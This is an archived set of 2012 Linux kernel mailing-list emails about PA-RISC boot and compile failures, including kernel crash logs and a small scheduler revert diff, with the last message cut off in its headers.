Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205042305250.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336188442 14016 80.91.229.3 (5 May 2012 03:27:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 03:27:22 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Peter Zijlstra <peterz@infradead.org>,
	Stepan Moskovchenko <stepanm@codeaurora.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 05:27:18 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQVeN-0008AO-8I
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 05:27:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754169Ab2EED1O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 May 2012 23:27:14 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:46129 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752283Ab2EED1N (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 May 2012 23:27:13 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q453Qo4N031349
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 4 May 2012 23:26:50 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q453Qldm024247
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 4 May 2012 23:26:48 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q453QlnI024046;
	Fri, 4 May 2012 23:26:47 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q453QjUx024043;
	Fri, 4 May 2012 23:26:46 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4306 gmane.linux.kernel:1292114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4306>

Hi

Your patch 5fbd036b552f633abb394a319f7c62a5c86a9cd7 breaks PA-RISC boot. I 
have a dual-core PA-8800. With the patch applied, the kernel crashes with 
these messages. The timer structures are apparently corrupted, as the 
timer sees a negative amount of delayed cycles:

Command line for kernel: 'root=/dev/sda5 console=ttyB0 HOME=/ 
palo_kernel=2/vmlinux-3.4.0-rc5'
Selected kernel: /vmlinux-3.4.0-rc5 from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4960256 mediaptr 0x1000
Segment 1 load 007dd320 size 597536 mediaptr 0x4bc320
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Linux version 3.4.0-rc5 (root@phoebe) (gcc version 4.6.3 
(GCC) ) #226 SMP PREEMPT Sat May 5 00:34:33 CEST 2012
[    0.000000] unwind_init: start = 0x404ef000, end = 0x4051bfb0, entries 
= 11515
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008920 00000491 00000000 00000002 56bbf1abce93405d 
100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   
1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x00000040bfdfffff Size   
2046 MB
[    0.000000] Total Memory: 3070 MB
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000041baa000 s8512 r8192 
d24256 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  
Total pages: 775175
[    0.000000] Kernel command line: root=/dev/sda5 console=ttyB0 HOME=/ 
palo_kernel=2/vmlinux-3.4.0-rc5
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 
bytes)
[    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 
bytes) [    0.000000] Memory: 3080464k/3143680k available (3351k kernel 
code, 63216k reserved, 1442k data, 160k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   
(1007 MB)[    0.000000]     memory  : 0x0000000040000000 - 
0x00000040ffe00000   (265214 MB)
[    0.000000]       .init : 0x0000000040848000 - 0x0000000040870000   ( 
160 kB)[    0.000000]       .data : 0x0000000040445c28 - 
0x00000000405ae5d0   (1442 kB)[    0.000000]       .text : 
0x0000000040100000 - 0x0000000040445c28   (3351 kB)[    0.000000] 
Preemptible hierarchical RCU implementation.
[    0.000000] NR_IRQS:80
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1797.32 BogoMIPS (lpj=8986624)
[    0.190000] pid_max: default: 32768 minimum: 301
[    0.250000] Mount-cache hash table entries: 256
[    0.340000] Brought up 1 CPUs
[    0.380000] NET: Registered protocol family 16
[    0.440000] Searching for devices...
[    0.590000] Found devices:
[    0.620000] 1. Unknown machine at 0xfffffffffe780000 [128] { 0, 0x0, 
0x892, 0x00004 }
[    0.730000] 2. Unknown machine at 0xfffffffffe781000 [129] { 0, 0x0, 
0x892, 0x00004 }
[    0.830000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 
0x00009 }
[    0.920000] 4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 
0x0, 0x880, 0x0000c }
[    1.040000] 5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 
0x0, 0x783, 0x0000a }
[    1.140000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 
0x0, 0x783, 0x0000a }
[    1.250000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 
0x0, 0x783, 0x0000a }
[    1.360000] 8. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 
0x0, 0x784, 0x0000a }
[    1.480000] 9. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 
0x004, 0x000c0 }
[    1.580000] 10. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 
0x076, 0x000ad }
[    1.690000] 11. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 
0x076, 0x000ad }
[    1.790000] Enabling PDC_PAT chassis codes support v0.05
[    2.390000] Releasing cpu 1 now, hpa=fffffffffe781000
[    2.500000] FP[1] enabled: Rev 1 Model 20
[    2.500000] CPU(s): 2 x PA8900 (Shortfin) at 900.000000 MHz
[    2.630000] Setting cache flush threshold to c0000 (2 CPUs online)
[    2.840000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    2.920000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    3.010000] LBA 0:0: PCI host bridge to bus 0000:00
[    3.080000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    3.160000] pci_bus 0000:00: root bus resource [mem 
0xffffffff80000000-0xffffffff8fffffff] (bus address 
[0x80000000-0x8fffffff])
[    3.320000] pci_bus 0000:00: root bus resource [mem 
0xffffff0000000000-0xffffff0fffffffff]
[    3.430000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    3.520000] LBA 0:2: PCI host bridge to bus 0000:40
[    3.590000] pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] 
(bus address [0x0000-0xffff])
[    3.710000] pci_bus 0000:40: root bus resource [mem 
0xffffffffa0000000-0xffffffffafffffff] (bus address 
[0xa0000000-0xafffffff])
[    3.860000] pci_bus 0000:40: root bus resource [mem 
0xffffff2000000000-0xffffff2fffffffff]
[    3.970000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    4.070000] LBA 0:3: PCI host bridge to bus 0000:60
[    4.140000] pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] 
(bus address [0x0000-0xffff])
[    4.260000] pci_bus 0000:60: root bus resource [mem 
0xffffffffb0000000-0xffffffffbfffffff] (bus address 
[0xb0000000-0xbfffffff])
[    4.410000] pci_bus 0000:60: root bus resource [mem 
0xffffff3000000000-0xffffff3fffffffff]
[    4.530000] Quicksilver version TR1.0 (0x10) found at 
0xfffffffffed28000
[    4.630000] LBA 0:4: PCI host bridge to bus 0000:80
[    4.690000] pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] 
(bus address [0x0000-0xffff])
[    4.810000] pci_bus 0000:80: root bus resource [mem 
0xffffffffc0000000-0xffffffffcfffffff] (bus address 
[0xc0000000-0xcfffffff])
[    4.970000] pci_bus 0000:80: root bus resource [mem 
0xffffff4000000000-0xffffff4fffffffff]
[    5.150000] powersw: Soft power switch at 0xfffffff0f042e278 enabled.
[    5.240000] bio: create slab <bio-0> at 0
[    5.290000] vgaarb: device added: 
PCI:0000:80:00.0,decodes=io+mem,owns=io+mem,locks=none
[    5.400000] vgaarb: loaded
[    5.440000] vgaarb: bridge control possible 0000:80:00.0
[    5.510000] SCSI subsystem initialized
[    5.560000] usbcore: registered new interface driver usbfs
[    5.630000] usbcore: registered new interface driver hub
[    5.700000] usbcore: registered new device driver usb
[    5.780000] NET: Registered protocol family 2
[    5.840000] IP route cache hash table entries: 131072 (order: 8, 
1048576 bytes)
[    5.940000] TCP established hash table entries: 262144 (order: 10, 
4194304 bytes)
[    6.040000] TCP bind hash table entries: 65536 (order: 8, 1048576 
bytes)
[    6.130000] TCP: Hash tables configured (established 262144 bind 65536)
[    6.220000] TCP: reno registered
[    6.260000] UDP hash table entries: 2048 (order: 5, 131072 bytes)
[    6.350000] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes)
[    6.470000] timer_interrupt(CPU 0): delayed! cycles FFFFFFFFFFA7F011 
rem 4062EF  next/now 1C9500D655/1C94C07366
[2049638236.880448] timer_interrupt(CPU 0): delayed! cycles 1CB712F9E rem 
49DAA2
  next/now 1E60BBE095/1E607205F3
[2049638236.880448] INFO: rcu_sched detected stalls on CPUs/tasks: { 1} 
(detected by 0, t=2049638230796 jiffies)
[2049638236.880448] INFO: Stall ended before state dump start
[2049638245.450448] timer_interrupt(CPU 0): delayed! cycles 2EEDB3A63 rem 
29839D
  next/now 214FC09E95/214F971AF8


When I put debug messages to smp_cpu_init and smp_callin in 
arch/parisc/kernel/smp.c, it crashes differently, this time it tries to 
run some corrupted task on the second core and it crashes in 
kthread_should_stop:

Command line for kernel: 'root=/dev/sda5 console=ttyB0 HOME=/ 
palo_kernel=2/vmlinux-3.4.0-rc5'
Selected kernel: /vmlinux-3.4.0-rc5 from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 4960256 mediaptr 0x1000
Segment 1 load 007dd320 size 597536 mediaptr 0x4bc320
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Linux version 3.4.0-rc5 (root@phoebe) (gcc version 4.6.3 
(GCC) ) #272 SMP PREEMPT Sat May 5 04:39:10 CEST 2012
[    0.000000] unwind_init: start = 0x404ef000, end = 0x4051bfb0, entries 
= 11515
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008920 00000491 00000000 00000002 56bbf1abce93405d 
100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   
1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x00000040bfdfffff Size   
2046 MB
[    0.000000] Total Memory: 3070 MB
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000041baa000 s8512 r8192 
d24256 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  
Total pages: 775175
[    0.000000] Kernel command line: root=/dev/sda5 console=ttyB0 HOME=/ 
palo_kernel=2/vmlinux-3.4.0-rc5
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 
bytes)
[    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 
bytes) [    0.000000] Memory: 3080464k/3143680k available (3351k kernel 
code, 63216k reserved, 1442k data, 160k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   
(1007 MB)[    0.000000]     memory  : 0x0000000040000000 - 
0x00000040ffe00000   (265214 MB)
[    0.000000]       .init : 0x0000000040848000 - 0x0000000040870000   ( 
160 kB)[    0.000000]       .data : 0x0000000040445c28 - 
0x00000000405ae5d0   (1442 kB)[    0.000000]       .text : 
0x0000000040100000 - 0x0000000040445c28   (3351 kB)[    0.000000] 
Preemptible hierarchical RCU implementation.
[    0.000000] NR_IRQS:80
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1797.32 BogoMIPS (lpj=8986624)
[    0.190000] pid_max: default: 32768 minimum: 301
[    0.250000] Mount-cache hash table entries: 256
[    0.340000] Brought up 1 CPUs
[    0.380000] NET: Registered protocol family 16
[    0.440000] Searching for devices...
[    0.590000] Found devices:
[    0.620000] 1. Unknown machine at 0xfffffffffe780000 [128] { 0, 0x0, 
0x892, 0x00004 }
[    0.730000] 2. Unknown machine at 0xfffffffffe781000 [129] { 0, 0x0, 
0x892, 0x00004 }
[    0.830000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 
0x00009 }
[    0.920000] 4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 
0x0, 0x880, 0x0000c }
[    1.040000] 5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 
0x0, 0x783, 0x0000a }
[    1.140000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 
0x0, 0x783, 0x0000a }
[    1.250000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 
0x0, 0x783, 0x0000a }
[    1.360000] 8. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 
0x0, 0x784, 0x0000a }
[    1.480000] 9. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 
0x004, 0x000c0 }
[    1.580000] 10. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 
0x076, 0x000ad }
[    1.690000] 11. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 
0x076, 0x000ad }
[    1.790000] Enabling PDC_PAT chassis codes support v0.05
[    2.390000] Releasing cpu 1 now, hpa=fffffffffe781000
[    2.500000] FP[1] enabled: Rev 1 Model 20
[    2.500000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    2.500000] CPU(s): 2 x PA8900 (Shortfin) at 900.000000 MHz
[    2.740000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    2.850000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    2.960000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.070000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.180000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.290000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.400000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.510000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.620000] 
blablablablablablablablablablablablablablablablablablablablablablablablablabla
[    3.730000] test1
[    3.750000] test2
[    3.780000] test3
[    3.810000] test4
[    3.830000] test5
[    3.860000] test6
[    3.880000] test7
[    3.910000] test8
[    3.930000] test9
[    3.990000] Backtrace:
[    4.020000]  [<00000000401973a4>] cpu_stopper_thread+0x7c/0x248
[    4.100000]  [<0000000040167a18>] kthread+0xd8/0xe8
[    4.160000]  [<000000004010407c>] ret_from_kernel_thread+0x24/0x40
[    4.240000]
[    4.260000]
[    4.280000] Bad Address (null pointer deref?): Code=15 
regs=000000007fcd0330 (Addr=000007fffffffff0)
[    4.400000]
[    4.420000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    4.490000] PSW: 00001000000001001111111100001111 Not tainted
[    4.560000] r00-03  000000ff0804ff0f 0000000040846360 00000000401973a4 
000000007fcd0300
[    4.670000] r04-07  0000000040828b60 0000000041bb49b0 0000000041bb49c0 
000000004086e6c0
[    4.780000] r08-11  0000000000000001 0000000041bb49c0 0000000000000001 
0000000000000001
[    4.880000] r12-15  0000000040846b60 0000000040837b60 0000000040837b60 
000000004086e6c0
[    4.990000] r16-19  0000000040846360 000000007fc5ea10 0000000000000000 
000000000800000f
[    5.100000] r20-23  0000000000000001 000000000800000e 000000000800000e 
0000000000000000
[    5.200000] r24-27  0000000000000001 000000007fcb47d8 0000000041bab6c0 
0000000040828b60
[    5.310000] r28-31  0000000000000000 000000007fcd0300 000000007fcd0330 
0000000000000001
[    5.420000] sr00-03  0000000000000000 0000000000000000 0000000000000000 
0000000000000000
[    5.530000] sr04-07  0000000000000000 0000000000000000 0000000000000000 
0000000000000000
[    5.630000]
[    5.650000] IASQ: 0000000000000000 0000000000000000 IAOQ: 
000000004016742c 0000000040167430
[    5.760000]  IIR: 0f81109c    ISR: 000000003ffff800  IOR: 
000007fffffffff0
[    5.860000]  CPU:        0   CR30: 000000007fc64000 CR31: 
ffffffffffffffff
[    5.950000]  ORIG_R28: 000000004011bd5c
[    6.000000]  IAOQ[0]: kthread_should_stop+0xc/0x18
[    6.060000]  IAOQ[1]: kthread_should_stop+0x10/0x18
[    6.130000]  RP(r2): cpu_stopper_thread+0x7c/0x248
[    6.190000] Backtrace:
[    6.220000]  [<00000000401973a4>] cpu_stopper_thread+0x7c/0x248
[    6.300000]  [<0000000040167a18>] kthread+0xd8/0xe8
[    6.370000]  [<000000004010407c>] ret_from_kernel_thread+0x24/0x40
[    6.450000]
[    6.610000] Kernel panic - not syncing: Bad Address (null pointer 
deref?)


I tried to put set_cpu_active(cpunum, true) in the startup functions for 
the secondary processor (smp_callin, smp_cpu_init) to see if the processor 
cannot start if it not active. I actually discovered that it is timing 
dependent (if I put set_cpu_active just after set_cpu_online in 
smp_cpu_init, it works, if I put set_cpu_active to be executed SOME TIME 
after set_cpu_online, it crashes). So the secondary CPU doesn't have 
problem with not being marked active, it is actually the main CPU that 
causes the crash if the secondary CPU is online and inactive.

I couldn't find out what code executing on the main CPU has problems with 
online/inactive secondary CPU. Do you have any ideas?

When I revert your patch, the machine boots and works correctly:

diff --git a/kernel/sched/core.c b/kernel/sched/core.c
index b1ccce8..9554512 100644
--- a/kernel/sched/core.c
+++ b/kernel/sched/core.c
@@ -5410,7 +5410,7 @@ static int __cpuinit sched_cpu_active(struct notifier_block *nfb,
 				      unsigned long action, void *hcpu)
 {
 	switch (action & ~CPU_TASKS_FROZEN) {
-	case CPU_STARTING:
+	case CPU_ONLINE:
 	case CPU_DOWN_FAILED:
 		set_cpu_active((long)hcpu, true);
 		return NOTIFY_OK;

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 05 May 2012 08:55:37 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <1798237.g4OIBKAx4s@donald.sf-tec.de>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart22272283.5pjb6P5pYs"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336201016 16989 80.91.229.3 (5 May 2012 06:56:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 06:56:56 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 08:56:54 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQYvD-0001UA-GR
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 08:56:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752998Ab2EEG4v (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 02:56:51 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43109 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752990Ab2EEG4u (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 02:56:50 -0400
Original-Received: (qmail 29000 invoked from network); 5 May 2012 06:55:50 -0000
Original-Received: from dslb-178-003-164-245.pools.arcor-ip.net ([::ffff:178.3.164.245]:43845 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <mpatocka@redhat.com>; Sat, 05 May 2012 08:55:50 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4307 gmane.linux.kernel:1292144
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4307>


--nextPart22272283.5pjb6P5pYs
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="US-ASCII"

Mikulas Patocka wrote:
> Hi
> 
> This patch fixes compile failure on PA-RISC.
> 
> BTW. if the PA-RISC port is uncompilable for all 3.4-rc versions (and
> contains two other bugs that prevent it from booting) ... does it mean
> that I'm the only one who is using PA-RISC with recent kernel?
> 
> Mikulas
> 
> ---
> 
> Fix compile failure on PA-RISC
> 
> This patch fixes compile error on PA-RISC.
> 
> The problem is this:
> linux/bitops.h includes asm/bitops.h. Through a chain of dependencies
> asm/bitops.h includes asm/page.h and asm/page.h needs function fls and
> others defined in asm/bitops.h and linux/bitops.h --- and these
> functions are not yet defined because the files linux/bitops.h and
> asm/bitops.h hasn't been fully processed.

I've posted a set of patches on 2012-04-21 both on linux-kernel and linux-
parisc, but apart from one ACK I got no reaction.

I did only move the definition of PAGE0 from asm/pdc.h to asm/page.h and fixed 
another bunch of breakage that was detected while fixing this.

Eike
--nextPart22272283.5pjb6P5pYs
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+kzvAACgkQXKSJPmm5/E5FBwCgn95gK4TJKMnOv6+0W/xsY5g9
AJkAoJVfpI39SqRJ+1TMZnNBFIqfRC2t
=6/Ee
-----END PGP SIGNATURE-----

--nextPart22272283.5pjb6P5pYs--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Revert 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25
Date: Sat, 05 May 2012 09:39:38 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <4FA4D93A.6090103@suse.cz>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com> <Pine.LNX.4.64.1205042259000.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336203588 32257 80.91.229.3 (5 May 2012 07:39:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 07:39:48 +0000 (UTC)
Cc: Guy Martin <gmsof@tuxicoman.be>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 09:39:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQZai-0005jr-GT
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 09:39:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753351Ab2EEHjn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 03:39:43 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:63425 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753285Ab2EEHjm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 03:39:42 -0400
Original-Received: by wgbdr13 with SMTP id dr13so3350303wgb.1
        for <multiple recipients>; Sat, 05 May 2012 00:39:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=2R9oDhCiY/w0SxOmlqY53nN03MDLxIiNDGn0TfKQVAU=;
        b=dBpGCRLiF4kligeFMawvcyr9eCKt5DklDOGM82W5Pz1G6myq4jJIfrcqOLW7y/JL6L
         7Krk2Qdu8tdJj1a/yGXfDo5PfSwMD/3pcKGdZSlf+Y5lfwK0x2ljxd0p/kF6wYnHFn/0
         ZB8YyNOD8EcZ35OaO5RlBfZFwJ8/zAqJTAyL6uhxcRjPAFBCuo06QeV2Om7fQ4xpLndX
         tWGFkMkvJEQHNfUYXZEG1FJJtz1AGvbINF8nTTdvXVUD/u911XKIF+Vh4y4O6qJyZoaG
         0y/Q6nHwBWtH9R34oWVrcxMZd/wu6eOLniX1GBKxA8YD01hoM6LulKgTSSqhsPYJOS6M
         hcOA==
Original-Received: by 10.180.92.9 with SMTP id ci9mr19374780wib.15.1336203581189;
